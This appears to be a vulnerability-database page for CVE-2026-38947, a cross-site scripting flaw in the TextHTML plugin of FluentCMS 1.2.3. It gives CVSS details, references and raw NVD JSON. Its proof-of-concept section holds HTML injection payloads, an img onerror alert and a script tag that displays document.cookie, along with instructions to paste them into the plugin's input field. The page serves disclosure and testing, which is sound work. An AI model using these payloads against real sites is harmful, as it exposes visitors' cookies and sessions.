CVE-2026-38947 CVSS 6.1 MEDIUM

CVE-2026-38947

Published: 2026-05-05 20:16:39

Last Modified: 2026-05-06 16:16:09

Source: [email protected]

Description

FluentCMS 1.2.3 is vulnerable to Cross Site Scripting (XSS) in TextHTML plugin.

CVSS Details

CVSS Score

6.1

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

FluentCMS 1.2.3

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Proof of Concept for CVE-2026-38947 -->
<!-- Inject this payload into the TextHTML plugin input field -->
<img src=x onerror=alert('CVE-2026-38947_Exploited')>

<!-- Alternatively, a script tag -->
<script>
  console.log('XSS Triggered');
  alert(document.cookie);
</script>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-38947
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-38947
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-38947/
[4] VulDB https://vuldb.com/cve/CVE-2026-38947
[5] https://github.com/fluentcms/FluentCMS/issues/2405
[6] https://github.com/fluentcms/FluentCMS/issues/2405

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-38947", "sourceIdentifier": "[email protected]", "published": "2026-05-05T20:16:38.513", "lastModified": "2026-05-06T16:16:08.757", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "FluentCMS 1.2.3 is vulnerable to Cross Site Scripting (XSS) in TextHTML plugin."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://github.com/fluentcms/FluentCMS/issues/2405", "source": "[email protected]"}, {"url": "https://github.com/fluentcms/FluentCMS/issues/2405", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}